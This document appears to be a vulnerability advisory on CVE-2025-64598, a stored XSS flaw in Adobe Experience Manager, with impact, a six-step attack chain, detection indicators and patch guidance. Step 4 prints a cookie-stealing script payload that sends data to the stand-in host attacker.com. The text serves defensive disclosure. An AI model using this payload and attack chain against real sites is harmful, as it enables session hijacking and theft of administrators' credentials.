CVE-2025-64598: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64598 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, and patched on December 10, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, network-accessible attacker can inject persistent malicious JavaScript into vulnerable AEM form fields; the script executes in the browser of any victim who subsequently visits the page containing the compromised field. Exploitation requires user interaction (a victim browsing to the affected page) but no elevated privileges beyond a standard authenticated account. No public proof-of-concept code has been identified at this time (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session within AEM, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and defacement of AEM-hosted content. The scope is marked as "Changed," meaning the injected script can affect resources beyond the attacker's own session. Confidentiality and integrity are both impacted at a low level per the CVSS scoring, with no direct availability impact (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM login pages.
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM author or contributor account.
3. Locate vulnerable form fields: Navigate to AEM pages or components that accept and store user-supplied input (e.g., text fields in page properties, content fragments, or custom forms) without adequate output encoding.
4. Inject XSS payload: Submit a crafted stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/publish the content.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., AEM administrator) to browse to the page containing the injected payload, causing their browser to execute the malicious script.
6. Harvest results: Collect stolen session cookies, tokens, or other sensitive data from the attacker-controlled server to perform session hijacking or further attacks (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing script tags or encoded JavaScript payloads (%3Cscript%3E, javascript:, onerror=, etc.).
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after visiting AEM-authored pages; unusual GET requests to attacker-controlled URLs with query parameters containing cookie or token data.
• File System / Content Repository: Presence of <script> tags or JavaScript event handlers (e.g., onload, onerror, onmouseover) stored within AEM JCR node properties or page content that were not placed by legitimate authors.
• Process/Application: AEM error logs showing unexpected rendering of script content or Content Security Policy (CSP) violation reports if CSP is configured.

Adobe has released patches addressing CVE-2025-64598 in AEM 6.5.24.0 (on-premises) and AEM Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. As a temporary workaround, restrict authoring access to trusted users only and implement a strict Content Security Policy (CSP) to limit the impact of any injected scripts. Review and audit existing AEM content for unexpected script injections (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products that could allow arbitrary code execution, grouping CVE-2025-64598 among the December 2025 Adobe patch batch (CIS Advisory). No notable independent researcher commentary or significant social media discussion specific to this CVE has been identified beyond standard vulnerability database tracking.